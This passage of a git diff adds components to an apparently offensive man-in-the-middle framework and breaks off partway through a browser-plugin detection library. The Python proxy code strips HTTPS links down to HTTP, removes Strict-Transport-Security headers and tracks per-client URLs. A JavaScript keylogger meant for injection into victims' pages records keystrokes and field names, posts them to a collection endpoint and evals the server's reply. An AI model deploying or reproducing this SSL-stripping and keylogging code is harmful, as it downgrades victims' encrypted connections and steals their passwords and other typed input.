program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import logging +import re +import string +import random +import zlib +import gzip +import StringIO +import sys + +from core.logger import logger +from twisted.web.http import HTTPClient +from URLMonitor import URLMonitor + +formatter = logging.Formatter("%(asctime)s [Ferret-NG] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") +log = logger().setup_logger("Ferret_ServerConnection", formatter) + +class ServerConnection(HTTPClient): + + ''' The server connection is where we do the bulk of the stripping. Everything that + comes back is examined. The headers we dont like are removed, and the links are stripped + from HTTPS to HTTP. + ''' + + urlExpression = re.compile(r"(https://[\w\d:#@%/;$()~_?\+-=\\\.&]*)", re.IGNORECASE) + urlType = re.compile(r"https://", re.IGNORECASE) + urlExplicitPort = re.compile(r'https://([a-zA-Z0-9.]+):[0-9]+/', re.IGNORECASE) + urlTypewww = re.compile(r"https://www", re.IGNORECASE) + urlwExplicitPort = re.compile(r'https://www([a-zA-Z0-9.]+):[0-9]+/', re.IGNORECASE) + urlToken1 = re.compile(r'(https://[a-zA-Z0-9./]+\?)', re.IGNORECASE) + urlToken2 = re.compile(r'(https://[a-zA-Z0-9./]+)\?{0}', re.IGNORECASE) + #urlToken2 = re.compile(r'(https://[a-zA-Z0-9.]+/?[a-zA-Z0-9.]*/?)\?{0}', re.IGNORECASE) + + def __init__(self, command, uri, postData, headers, client): + + self.command = command + self.uri = uri + self.postData = postData + self.headers = headers + self.client = client + self.clientInfo = None + self.urlMonitor = URLMonitor.getInstance() + self.isImageRequest = False + self.isCompressed = False + self.contentLength = None + self.shutdownComplete = False + + def getPostPrefix(self): + return "POST" + + def sendRequest(self): + if self.command == 'GET': + + log.debug(self.client.getClientIP() + "Sending Request: {}".format(self.headers['host'])) + + self.sendCommand(self.command, self.uri) + + def sendHeaders(self): + for header, value in self.headers.iteritems(): + log.debug("[ServerConnection] Sending header: ({}: {})".format(header, value)) + self.sendHeader(header, value) + + self.endHeaders() + + def sendPostData(self): + + self.transport.write(self.postData) + + def connectionMade(self): + log.debug("[ServerConnection] HTTP connection made.") + self.sendRequest() + self.sendHeaders() + + if (self.command == 'POST'): + self.sendPostData() + + def handleStatus(self, version, code, message): + log.debug("[ServerConnection] Server response: {} {} {}".format(version, code, message)) + self.client.setResponseCode(int(code), message) + + def handleHeader(self, key, value): + if (key.lower() == 'location'): + value = self.replaceSecureLinks(value) + + if (key.lower() == 'content-type'): + if (value.find('image') != -1): + self.isImageRequest = True + log.debug("[ServerConnection] Response is image content, not scanning") + + if (key.lower() == 'content-encoding'): + if (value.find('gzip') != -1): + log.debug("[ServerConnection] Response is compressed") + self.isCompressed = True + + elif (key.lower()== 'strict-transport-security'): + log.debug("[ServerConnection] Zapped a strict-transport-security header") + + elif (key.lower() == 'content-length'): + self.contentLength = value + + elif (key.lower() == 'set-cookie'): + self.client.responseHeaders.addRawHeader(key, value) + + else: + self.client.setHeader(key, value) + + def handleEndHeaders(self): + if (self.isImageRequest and self.contentLength != None): + self.client.setHeader("Content-Length", self.contentLength) + + if self.length == 0: + self.shutdown() + + if logging.getLevelName(log.getEffectiveLevel()) == "DEBUG": + for header, value in self.client.headers.iteritems(): + log.debug("[ServerConnection] Receiving header: ({}: {})".format(header, value)) + + def handleResponsePart(self, data): + if (self.isImageRequest): + self.client.write(data) + else: + HTTPClient.handleResponsePart(self, data) + + def handleResponseEnd(self): + if (self.isImageRequest): + self.shutdown() + else: + try: + HTTPClient.handleResponseEnd(self) #Gets rid of some generic errors + except: + pass + + def handleResponse(self, data): + if (self.isCompressed): + log.debug("[ServerConnection] Decompressing content...") + data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(data)).read() + + data = self.replaceSecureLinks(data) + + log.debug("[ServerConnection] Read from server {} bytes of data".format(len(data))) + + if (self.contentLength != None): + self.client.setHeader('Content-Length', len(data)) + + try: + self.client.write(data) + except: + pass + + try: + self.shutdown() + except: + log.info("[ServerConnection] Client connection dropped before request finished.") + + def replaceSecureLinks(self, data): + + iterator = re.finditer(ServerConnection.urlExpression, data) + + for match in iterator: + url = match.group() + + log.debug("[ServerConnection] Found secure reference: " + url) + + url = url.replace('https://', 'http://', 1) + url = url.replace('&', '&') + self.urlMonitor.addSecureLink(self.client.getClientIP(), url) + + data = re.sub(ServerConnection.urlExplicitPort, r'http://\1/', data) + return re.sub(ServerConnection.urlType, 'http://', data) + + def shutdown(self): + if not self.shutdownComplete: + self.shutdownComplete = True + try: + self.client.finish() + self.transport.loseConnection() + except: + pass diff --git a/libs/sslstrip/ServerConnectionFactory.py b/core/ferretng/ServerConnectionFactory.py similarity index 81% rename from libs/sslstrip/ServerConnectionFactory.py rename to core/ferretng/ServerConnectionFactory.py index f694fc0..0c725ae 100644 --- a/libs/sslstrip/ServerConnectionFactory.py +++ b/core/ferretng/ServerConnectionFactory.py @@ -1,4 +1,4 @@ -# Copyright (c) 2004-2009 Moxie Marlinspike +# Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License as @@ -17,8 +17,12 @@ # import logging +from core.logger import logger from twisted.internet.protocol import ClientFactory +formatter = logging.Formatter("%(asctime)s [Ferret-NG] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") +log = logger().setup_logger("Ferret_ServerConnectionFactory", formatter) + class ServerConnectionFactory(ClientFactory): def __init__(self, command, uri, postData, headers, client): @@ -32,12 +36,12 @@ class ServerConnectionFactory(ClientFactory): return self.protocol(self.command, self.uri, self.postData, self.headers, self.client) def clientConnectionFailed(self, connector, reason): - logging.debug("Server connection failed.") + log.debug("Server connection failed.") destination = connector.getDestination() if (destination.port != 443): - logging.debug("Retrying via SSL") + log.debug("Retrying via SSL") self.client.proxyViaSSL(self.headers['host'], self.command, self.uri, self.postData, self.headers, 443) else: try: diff --git a/core/ferretng/URLMonitor.py b/core/ferretng/URLMonitor.py new file mode 100644 index 0000000..1773fc2 --- /dev/null +++ b/core/ferretng/URLMonitor.py @@ -0,0 +1,83 @@ +# Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import re +import os + +class URLMonitor: + + ''' + The URL monitor maintains a set of (client, url) tuples that correspond to requests which the + server is expecting over SSL. It also keeps track of secure favicon urls. + ''' + + # Start the arms race, and end up here... + javascriptTrickery = [re.compile("http://.+\.etrade\.com/javascript/omntr/tc_targeting\.html")] + cookies = dict() + hijack_client = '' + _instance = None + + def __init__(self): + self.strippedURLs = set() + self.strippedURLPorts = dict() + + @staticmethod + def getInstance(): + if URLMonitor._instance == None: + URLMonitor._instance = URLMonitor() + + return URLMonitor._instance + + def isSecureLink(self, client, url): + for expression in URLMonitor.javascriptTrickery: + if (re.match(expression, url)): + return True + + return (client,url) in self.strippedURLs + + def getSecurePort(self, client, url): + if (client,url) in self.strippedURLs: + return self.strippedURLPorts[(client,url)] + else: + return 443 + + def addSecureLink(self, client, url): + methodIndex = url.find("//") + 2 + method = url[0:methodIndex] + + pathIndex = url.find("/", methodIndex) + if pathIndex is -1: + pathIndex = len(url) + url += "/" + + host = url[methodIndex:pathIndex].lower() + path = url[pathIndex:] + + port = 443 + portIndex = host.find(":") + + if (portIndex != -1): + host = host[0:portIndex] + port = host[portIndex+1:] + if len(port) == 0: + port = 443 + + url = method + host + path + + self.strippedURLs.add((client, url)) + self.strippedURLPorts[(client, url)] = int(port) diff --git a/libs/sergioproxy/__init__.py b/core/ferretng/__init__.py similarity index 100% rename from libs/sergioproxy/__init__.py rename to core/ferretng/__init__.py diff --git a/core/html/htadriveby.html b/core/html/htadriveby.html new file mode 100644 index 0000000..83dc1dc --- /dev/null +++ b/core/html/htadriveby.html @@ -0,0 +1,71 @@ + \ No newline at end of file diff --git a/core/javascript/msfkeylogger.js b/core/javascript/msfkeylogger.js new file mode 100644 index 0000000..e5ec380 --- /dev/null +++ b/core/javascript/msfkeylogger.js @@ -0,0 +1,117 @@ +window.onload = function (){ + var2 = ","; + name = ''; + function make_xhr(){ + var xhr; + try { + xhr = new XMLHttpRequest(); + } catch(e) { + try { + xhr = new ActiveXObject("Microsoft.XMLHTTP"); + } catch(e) { + xhr = new ActiveXObject("MSXML2.ServerXMLHTTP"); + } + } + if(!xhr) { + throw "failed to create XMLHttpRequest"; + } + return xhr; + } + + xhr = make_xhr(); + xhr.onreadystatechange = function() { + if(xhr.readyState == 4 && (xhr.status == 200 || xhr.status == 304)) { + eval(xhr.responseText); + } + } + + if (window.addEventListener){ + //console.log("first"); + document.addEventListener('keypress', function2, true); + document.addEventListener('keydown', function1, true); + } + else if (window.attachEvent){ + //console.log("second"); + document.attachEvent('onkeypress', function2); + document.attachEvent('onkeydown', function1); + } + else { + //console.log("third"); + document.onkeypress = function2; + document.onkeydown = function1; + } +} + +function function2(e) +{ + try + { + srcname = window.event.srcElement.name; + }catch(error) + { + srcname = e.srcElement ? e.srcElement.name : e.target.name + if (srcname == "") + { + srcname = e.target.name + } + } + + var3 = (e) ? e.keyCode : e.which; + if (var3 == 0) + { + var3 = e.charCode + } + + if (var3 != "d" && var3 != 8 && var3 != 9 && var3 != 13) + { + andxhr(encodeURIComponent(var3), srcname); + } +} + +function function1(e) +{ + try + { + srcname = window.event.srcElement.name; + }catch(error) + { + srcname = e.srcElement ? e.srcElement.name : e.target.name + if (srcname == "") + { + srcname = e.target.name + } + } + + var3 = (e) ? e.keyCode : e.which; + if (var3 == 9 || var3 == 8 || var3 == 13) + { + andxhr(encodeURIComponent(var3), srcname); + } + else if (var3 == 0) + { + + text = document.getElementById(id).value; + if (text.length != 0) + { + andxhr(encodeURIComponent(text), srcname); + } + } + +} +function andxhr(key, inputName) +{ + if (inputName != name) + { + name = inputName; + var2 = ","; + } + var2= var2 + key + ","; + xhr.open("POST", "keylog", true); + xhr.setRequestHeader("Content-type","application/x-www-form-urlencoded; charset=utf-8"); + xhr.send(var2 + '&&' + inputName); + + if (key == 13 || var2.length > 3000) + { + var2 = ","; + } +} \ No newline at end of file diff --git a/core/javascript/plugindetect.js b/core/javascript/plugindetect.js new file mode 100644 index 0000000..1eddb16 --- /dev/null +++ b/core/javascript/plugindetect.js @@ -0,0 +1,1300 @@ +/* +PluginDetect v0.9.0 +www.pinlady.net/PluginDetect/license/ +[ QuickTime Java DevalVR Flash Shockwave WindowsMediaPlayer Silverlight VLC AdobeReader PDFReader RealPlayer IEcomponent ActiveX PDFjs ] +[ isMinVersion getVersion hasMimeType onDetectionDone ] +[ AllowActiveX ] +*/ + +var PluginDetect={version:"0.9.0",name:"PluginDetect",addPlugin:function(p,q){if(p&&PluginDetect.isString(p)&&q&&PluginDetect.isFunc(q.getVersion)){p=p.replace(/\s/g,"").toLowerCase();PluginDetect.Plugins[p]=q;if(!PluginDetect.isDefined(q.getVersionDone)){q.installed=null;q.version=null;q.version0=null;q.getVersionDone=null;q.pluginName=p;}}},uniqueName:function(){return PluginDetect.name+"998"},openTag:"<",hasOwnPROP:({}).constructor.prototype.hasOwnProperty,hasOwn:function(s,t){var p;try{p=PluginDetect.hasOwnPROP.call(s,t)}catch(q){}return !!p},rgx:{str:/string/i,num:/number/i,fun:/function/i,arr:/array/i},toString:({}).constructor.prototype.toString,isDefined:function(p){return typeof p!="undefined"},isArray:function(p){return PluginDetect.rgx.arr.test(PluginDetect.toString.call(p))},isString:function(p){return PluginDetect.rgx.str.test(PluginDetect.toString.call(p))},isNum:function(p){return PluginDetect.rgx.num.test(PluginDetect.toString.call(p))},isStrNum:function(p){return PluginDetect.isString(p)&&(/\d/).test(p)},isFunc:function(p){return PluginDetect.rgx.fun.test(PluginDetect.toString.call(p))},getNumRegx:/[\d][\d\.\_,\-]*/,splitNumRegx:/[\.\_,\-]/g,getNum:function(q,r){var p=PluginDetect.isStrNum(q)?(PluginDetect.isDefined(r)?new RegExp(r):PluginDetect.getNumRegx).exec(q):null;return p?p[0]:null},compareNums:function(w,u,t){var s,r,q,v=parseInt;if(PluginDetect.isStrNum(w)&&PluginDetect.isStrNum(u)){if(PluginDetect.isDefined(t)&&t.compareNums){return t.compareNums(w,u)}s=w.split(PluginDetect.splitNumRegx);r=u.split(PluginDetect.splitNumRegx);for(q=0;qv(r[q],10)){return 1}if(v(s[q],10)r||!(/\d/).test(s[p])){s[p]="0"}}return s.slice(0,4).join(",")},pd:{getPROP:function(s,q,p){try{if(s){p=s[q]}}catch(r){}return p},findNavPlugin:function(u){if(u.dbug){return u.dbug}var A=null;if(window.navigator){var z={Find:PluginDetect.isString(u.find)?new RegExp(u.find,"i"):u.find,Find2:PluginDetect.isString(u.find2)?new RegExp(u.find2,"i"):u.find2,Avoid:u.avoid?(PluginDetect.isString(u.avoid)?new RegExp(u.avoid,"i"):u.avoid):0,Num:u.num?/\d/:0},s,r,t,y,x,q,p=navigator.mimeTypes,w=navigator.plugins;if(u.mimes&&p){y=PluginDetect.isArray(u.mimes)?[].concat(u.mimes):(PluginDetect.isString(u.mimes)?[u.mimes]:[]);for(s=0;s-1&&p>r&&s[p]!="0"){return q}if(v[p]!=s[p]){if(r==-1){r=p}if(s[p]!="0"){return q}}}return t},AXO:(function(){var q;try{q=new window.ActiveXObject()}catch(p){}return q?null:window.ActiveXObject})(),getAXO:function(p){var r=null;try{r=new PluginDetect.AXO(p)}catch(q){PluginDetect.errObj=q;}if(r){PluginDetect.browser.ActiveXEnabled=!0}return r},browser:{detectPlatform:function(){var r=this,q,p=window.navigator?navigator.platform||"":"";PluginDetect.OS=100;if(p){var s=["Win",1,"Mac",2,"Linux",3,"FreeBSD",4,"iPhone",21.1,"iPod",21.2,"iPad",21.3,"Win.*CE",22.1,"Win.*Mobile",22.2,"Pocket\\s*PC",22.3,"",100];for(q=s.length-2;q>=0;q=q-2){if(s[q]&&new RegExp(s[q],"i").test(p)){PluginDetect.OS=s[q+1];break}}}},detectIE:function(){var r=this,u=document,t,q,v=window.navigator?navigator.userAgent||"":"",w,p,y;r.ActiveXFilteringEnabled=!1;r.ActiveXEnabled=!1;try{r.ActiveXFilteringEnabled=!!window.external.msActiveXFilteringEnabled()}catch(s){}p=["Msxml2.XMLHTTP","Msxml2.DOMDocument","Microsoft.XMLDOM","TDCCtl.TDCCtl","Shell.UIHelper","HtmlDlgSafeHelper.HtmlDlgSafeHelper","Scripting.Dictionary"];y=["WMPlayer.OCX","ShockwaveFlash.ShockwaveFlash","AgControl.AgControl"];w=p.concat(y);for(t=0;t=7?u.documentMode:0)||((/^(?:.*?[^a-zA-Z])??(?:MSIE|rv\s*\:)\s*(\d+\.?\d*)/i).test(v)?parseFloat(RegExp.$1,10):7)}},detectNonIE:function(){var p=this,s=window.navigator?navigator:{},r=p.isIE?"":s.userAgent||"",t=s.vendor||"",q=s.product||"";p.isGecko=(/Gecko/i).test(q)&&(/Gecko\s*\/\s*\d/i).test(r);p.verGecko=p.isGecko?PluginDetect.formatNum((/rv\s*\:\s*([\.\,\d]+)/i).test(r)?RegExp.$1:"0.9"):null;p.isOpera=(/(OPR\s*\/|Opera\s*\/\s*\d.*\s*Version\s*\/|Opera\s*[\/]?)\s*(\d+[\.,\d]*)/i).test(r);p.verOpera=p.isOpera?PluginDetect.formatNum(RegExp.$2):null;p.isChrome=!p.isOpera&&(/(Chrome|CriOS)\s*\/\s*(\d[\d\.]*)/i).test(r);p.verChrome=p.isChrome?PluginDetect.formatNum(RegExp.$2):null;p.isSafari=!p.isOpera&&!p.isChrome&&((/Apple/i).test(t)||!t)&&(/Safari\s*\/\s*(\d[\d\.]*)/i).test(r);p.verSafari=p.isSafari&&(/Version\s*\/\s*(\d[\d\.]*)/i).test(r)?PluginDetect.formatNum(RegExp.$1):null;},init:function(){var p=this;p.detectPlatform();p.detectIE();p.detectNonIE()}},init:{hasRun:0,library:function(){window[PluginDetect.name]=PluginDetect;var q=this,p=document;PluginDetect.win.init();PluginDetect.head=p.getElementsByTagName("head")[0]||p.getElementsByTagName("body")[0]||p.body||null;PluginDetect.browser.init();q.hasRun=1;}},ev:{addEvent:function(r,q,p){if(r&&q&&p){if(r.addEventListener){r.addEventListener(q,p,false)}else{if(r.attachEvent){r.attachEvent("on"+q,p)}else{r["on"+q]=this.concatFn(p,r["on"+q])}}}},removeEvent:function(r,q,p){if(r&&q&&p){if(r.removeEventListener){r.removeEventListener(q,p,false)}else{if(r.detachEvent){r.detachEvent("on"+q,p)}}}},concatFn:function(q,p){return function(){q();if(typeof p=="function"){p()}}},handler:function(t,s,r,q,p){return function(){t(s,r,q,p)}},handlerOnce:function(s,r,q,p){return function(){var u=PluginDetect.uniqueName();if(!s[u]){s[u]=1;s(r,q,p)}}},handlerWait:function(s,u,r,q,p){var t=this;return function(){t.setTimeout(t.handler(u,r,q,p),s)}},setTimeout:function(q,p){if(PluginDetect.win&&PluginDetect.win.unload){return}setTimeout(q,p)},fPush:function(q,p){if(PluginDetect.isArray(p)&&(PluginDetect.isFunc(q)||(PluginDetect.isArray(q)&&q.length>0&&PluginDetect.isFunc(q[0])))){p.push(q)}},call0:function(q){var p=PluginDetect.isArray(q)?q.length:-1;if(p>0&&PluginDetect.isFunc(q[0])){q[0](PluginDetect,p>1?q[1]:0,p>2?q[2]:0,p>3?q[3]:0)}else{if(PluginDetect.isFunc(q)){q(PluginDetect)}}},callArray0:function(p){var q=this,r;if(PluginDetect.isArray(p)){while(p.length){r=p[0];p.splice(0,1);if(PluginDetect.win&&PluginDetect.win.unload&&p!==PluginDetect.win.unloadHndlrs){}else{q.call0(r)}}}},call:function(q){var p=this;p.call0(q);p.ifDetectDoneCallHndlrs()},callArray:function(p){var q=this;q.callArray0(p);q.ifDetectDoneCallHndlrs()},allDoneHndlrs:[],ifDetectDoneCallHndlrs:function(){var r=this,p,q;if(!r.allDoneHndlrs.length){return}if(PluginDetect.win){if(!PluginDetect.win.loaded||PluginDetect.win.loadPrvtHndlrs.length||PluginDetect.win.loadPblcHndlrs.length){return}}if(PluginDetect.Plugins){for(p in PluginDetect.Plugins){if(PluginDetect.hasOwn(PluginDetect.Plugins,p)){q=PluginDetect.Plugins[p];if(q&&PluginDetect.isFunc(q.getVersion)){if(q.OTF==3||(q.DoneHndlrs&&q.DoneHndlrs.length)||(q.BIHndlrs&&q.BIHndlrs.length)){return}}}}}r.callArray0(r.allDoneHndlrs);}},isMinVersion:function(v,u,r,q){var s=PluginDetect.pd.findPlugin(v),t,p=-1;if(s.status<0){return s.status}t=s.plugin;u=PluginDetect.formatNum(PluginDetect.isNum(u)?u.toString():(PluginDetect.isStrNum(u)?PluginDetect.getNum(u):"0"));if(t.getVersionDone!=1){t.getVersion(u,r,q);if(t.getVersionDone===null){t.getVersionDone=1}}if(t.installed!==null){p=t.installed<=0.5?t.installed:(t.installed==0.7?1:(t.version===null?0:(PluginDetect.compareNums(t.version,u,t)>=0?1:-0.1)))}return p},getVersion:function(u,r,q){var s=PluginDetect.pd.findPlugin(u),t,p;if(s.status<0){return null}t=s.plugin;if(t.getVersionDone!=1){t.getVersion(null,r,q);if(t.getVersionDone===null){t.getVersionDone=1}}p=(t.version||t.version0);p=p?p.replace(PluginDetect.splitNumRegx,PluginDetect.pd.getVersionDelimiter):p;return p},hasMimeType:function(t){if(t&&window.navigator&&navigator.mimeTypes){var w,v,q,s,p=navigator.mimeTypes,r=PluginDetect.isArray(t)?[].concat(t):(PluginDetect.isString(t)?[t]:[]);s=r.length;for(q=0;q=0){p=(u.L.x==q.x?s.isActiveXObject(u,q.v):PluginDetect.compareNums(t,u.L.v)<=0)?1:-1}}return p},search:function(v){var B=this,w=v.$$,q=0,r;r=v.searchHasRun||B.isDisabled()?1:0;v.searchHasRun=1;if(r){return v.version||null}B.init(v);var F,E,D,s=v.DIGITMAX,t,p,C=99999999,u=[0,0,0,0],G=[0,0,0,0];var A=function(y,PluginDetect){var H=[].concat(u),I;H[y]=PluginDetect;I=B.isActiveXObject(v,H.join(","));if(I){q=1;u[y]=PluginDetect}else{G[y]=PluginDetect}return I};for(F=0;FG[F]&&PluginDetect.compareNums(p,v.Lower[D])>=0&&PluginDetect.compareNums(t,v.Upper[D])<0){G[F]=Math.floor(s[D][F])}}}for(E=0;E<30;E++){if(G[F]-u[F]<=16){for(D=G[F];D>=u[F]+(F?1:0);D--){if(A(F,D)){break}}break}A(F,Math.round((G[F]+u[F])/2))}if(!q){break}G[F]=u[F];}if(q){v.version=B.convert(v,u.join(",")).v}return v.version||null},emptyNode:function(p){try{p.innerHTML=""}catch(q){}},HTML:[],len:0,onUnload:function(r,q){var p,t=q.HTML,s;for(p=0;p'+PluginDetect.openTag+"/object>";for(p=0;p=0){return 0}r.innerHTML=u.tagA+q+u.tagB;if(PluginDetect.pd.getPROP(r.firstChild,"object")){p=1}if(p){u.min=q;t.HTML.push({spanObj:r,span:t.span})}else{u.max=q;r.innerHTML=""}return p},span:function(){return this.spanObj},convert_:function(t,p,q,s){var r=t.convert[p];return r?(PluginDetect.isFunc(r)?PluginDetect.formatNum(r(q.split(PluginDetect.splitNumRegx),s).join(",")):q):r},convert:function(v,r,u){var t=this,q,p,s;r=PluginDetect.formatNum(r);p={v:r,x:-1};if(r){for(q=0;q=0&&(!q||PluginDetect.compareNums(r,u?t.convert_(v,q,v.Upper[q]):v.Upper[q])<0)){p.v=t.convert_(v,q,r,u);p.x=q;break}}}return p},z:0},win:{disable:function(){this.cancel=true},cancel:false,loaded:false,unload:false,hasRun:0,init:function(){var p=this;if(!p.hasRun){p.hasRun=1;if((/complete/i).test(document.readyState||"")){p.loaded=true;}else{PluginDetect.ev.addEvent(window,"load",p.onLoad)}PluginDetect.ev.addEvent(window,"unload",p.onUnload)}},loadPrvtHndlrs:[],loadPblcHndlrs:[],unloadHndlrs:[],onUnload:function(){var p=PluginDetect.win;if(p.unload){return}p.unload=true;PluginDetect.ev.removeEvent(window,"load",p.onLoad);PluginDetect.ev.removeEvent(window,"unload",p.onUnload);PluginDetect.ev.callArray(p.unloadHndlrs)},onLoad:function(){var p=PluginDetect.win;if(p.loaded||p.unload||p.cancel){return}p.loaded=true;PluginDetect.ev.callArray(p.loadPrvtHndlrs);PluginDetect.ev.callArray(p.loadPblcHndlrs);}},DOM:{isEnabled:{objectTag:function(){var q=PluginDetect.browser,p=q.isIE?0:1;if(q.ActiveXEnabled){p=1}return !!p},objectTagUsingActiveX:function(){var p=0;if(PluginDetect.browser.ActiveXEnabled){p=1}return !!p},objectProperty:function(p){if(p&&p.tagName&&PluginDetect.browser.isIE){if((/applet/i).test(p.tagName)){return(!this.objectTag()||PluginDetect.isDefined(PluginDetect.pd.getPROP(document.createElement("object"),"object"))?1:0)}return PluginDetect.isDefined(PluginDetect.pd.getPROP(document.createElement(p.tagName),"object"))?1:0}return 0}},HTML:[],div:null,divID:"plugindetect",divWidth:500,getDiv:function(){return this.div||document.getElementById(this.divID)||null},initDiv:function(){var q=this,p;if(!q.div){p=q.getDiv();if(p){q.div=p;}else{q.div=document.createElement("div");q.div.id=q.divID;q.setStyle(q.div,q.getStyle.div());q.insertDivInBody(q.div)}PluginDetect.ev.fPush([q.onUnload,q],PluginDetect.win.unloadHndlrs)}p=0},pluginSize:1,iframeWidth:40,iframeHeight:10,altHTML:"     ",emptyNode:function(q){var p=this;if(q&&(/div|span/i).test(q.tagName||"")){if(PluginDetect.browser.isIE){p.setStyle(q,["display","none"])}try{q.innerHTML=""}catch(r){}}},removeNode:function(p){try{if(p&&p.parentNode){p.parentNode.removeChild(p)}}catch(q){}},onUnload:function(u,t){var r,q,s,v,w=t.HTML,p=w.length;if(p){for(q=p-1;q>=0;q--){v=w[q];if(v){w[q]=0;t.emptyNode(v.span());t.removeNode(v.span());v.span=0;v.spanObj=0;v.doc=0;v.objectProperty=0}}}r=t.getDiv();t.emptyNode(r);t.removeNode(r);v=0;s=0;r=0;t.div=0},span:function(){var p=this;if(!p.spanObj){p.spanObj=p.doc.getElementById(p.spanId)}return p.spanObj||null},width:function(){var t=this,s=t.span(),q,r,p=-1;q=s&&PluginDetect.isNum(s.scrollWidth)?s.scrollWidth:p;r=s&&PluginDetect.isNum(s.offsetWidth)?s.offsetWidth:p;s=0;return r>0?r:(q>0?q:Math.max(r,q))},obj:function(){var p=this.span();return p?p.firstChild||null:null},readyState:function(){var p=this;return PluginDetect.browser.isIE&&PluginDetect.isDefined(PluginDetect.pd.getPROP(p.span(),"readyState"))?PluginDetect.pd.getPROP(p.obj(),"readyState"):PluginDetect.UNDEFINED},objectProperty:function(){var r=this,q=r.DOM,p;if(q.isEnabled.objectProperty(r)){p=PluginDetect.pd.getPROP(r.obj(),"object")}return p},onLoadHdlr:function(p,q){q.loaded=1},getTagStatus:function(q,A,E,D,t,H,v){var F=this;if(!q||!q.span()){return -2}var y=q.width(),r=q.obj()?1:0,s=q.readyState(),p=q.objectProperty();if(p){return 1.5}var u=/clsid\s*\:/i,C=E&&u.test(E.outerHTML||"")?E:(D&&u.test(D.outerHTML||"")?D:0),w=E&&!u.test(E.outerHTML||"")?E:(D&&!u.test(D.outerHTML||"")?D:0),z=q&&u.test(q.outerHTML||"")?C:w;if(!A||!A.span()||!z||!z.span()){return -2}var x=z.width(),B=A.width(),G=z.readyState();if(y<0||x<0||B<=F.pluginSize){return 0}if(v&&!q.pi&&PluginDetect.isDefined(p)&&PluginDetect.browser.isIE&&q.tagName==z.tagName&&q.time<=z.time&&y===x&&s===0&&G!==0){q.pi=1}if(x.'+PluginDetect.openTag+"/div>");q=s.getElementById(u)}catch(r){}}p=s.getElementsByTagName("body")[0]||s.body;if(p){p.insertBefore(v,p.firstChild);if(q){p.removeChild(q)}}v=0},iframe:{onLoad:function(p,q){PluginDetect.ev.callArray(p);},insert:function(r,q){var s=this,v=PluginDetect.DOM,p,u=document.createElement("iframe"),t;v.setStyle(u,v.getStyle.iframe());u.width=v.iframeWidth;u.height=v.iframeHeight;v.initDiv();p=v.getDiv();p.appendChild(u);try{s.doc(u).open()}catch(w){}u[PluginDetect.uniqueName()]=[];t=PluginDetect.ev.handlerOnce(PluginDetect.isNum(r)&&r>0?PluginDetect.ev.handlerWait(r,s.onLoad,u[PluginDetect.uniqueName()],q):PluginDetect.ev.handler(s.onLoad,u[PluginDetect.uniqueName()],q));PluginDetect.ev.addEvent(u,"load",t);if(!u.onload){u.onload=t}PluginDetect.ev.addEvent(s.win(u),"load",t);return u},addHandler:function(q,p){if(q){PluginDetect.ev.fPush(p,q[PluginDetect.uniqueName()])}},close:function(p){try{this.doc(p).close()}catch(q){}},write:function(p,r){try{this.doc(p).write(r)}catch(q){}},win:function(p){try{return p.contentWindow}catch(q){}return null},doc:function(p){var r;try{r=p.contentWindow.document}catch(q){}try{if(!r){r=p.contentDocument}}catch(q){}return r||null}},insert:function(t,s,u,p,y,w,v){var D=this,F,E,C,B,A;if(!v){D.initDiv();v=D.getDiv()}if(v){if((/div/i).test(v.tagName)){B=v.ownerDocument}if((/iframe/i).test(v.tagName)){B=D.iframe.doc(v)}}if(B&&B.createElement){}else{B=document}if(!PluginDetect.isDefined(p)){p=""}if(PluginDetect.isString(t)&&(/[^\s]/).test(t)){t=t.toLowerCase().replace(/\s/g,"");F=PluginDetect.openTag+t+" ";F+='style="'+D.getStyle.plugin(w)+'" ';var r=1,q=1;for(A=0;A"}else{F+=">";for(A=0;A'}}F+=p+PluginDetect.openTag+"/"+t+">"}}else{t="";F=p}E={spanId:"",spanObj:null,span:D.span,loaded:null,tagName:t,outerHTML:F,DOM:D,time:new Date().getTime(),width:D.width,obj:D.obj,readyState:D.readyState,objectProperty:D.objectProperty,doc:B};if(v&&v.parentNode){if((/iframe/i).test(v.tagName)){D.iframe.addHandler(v,[D.onLoadHdlr,E]);E.loaded=0;E.spanId=PluginDetect.name+"Span"+D.HTML.length;C=''+F+"";D.iframe.write(v,C)}else{if((/div/i).test(v.tagName)){C=B.createElement("span");D.setStyle(C,D.getStyle.span());v.appendChild(C);try{C.innerHTML=F}catch(z){}E.spanObj=C}}}C=0;v=0;D.HTML.push(E);return E}},file:{any:"fileStorageAny999",valid:"fileStorageValid999",save:function(s,t,r){var q=this,p;if(s&&PluginDetect.isDefined(r)){if(!s[q.any]){s[q.any]=[]}if(!s[q.valid]){s[q.valid]=[]}s[q.any].push(r);p=q.split(t,r);if(p){s[q.valid].push(p)}}},getValidLength:function(p){return p&&p[this.valid]?p[this.valid].length:0},getAnyLength:function(p){return p&&p[this.any]?p[this.any].length:0},getValid:function(r,p){var q=this;return r&&r[q.valid]?q.get(r[q.valid],p):null},getAny:function(r,p){var q=this;return r&&r[q.any]?q.get(r[q.any],p):null},get:function(s,p){var r=s.length-1,q=PluginDetect.isNum(p)?p:r;return(q<0||q>r)?null:s[q]},split:function(t,q){var s=null,p,r;t=t?t.replace(".","\\."):"";r=new 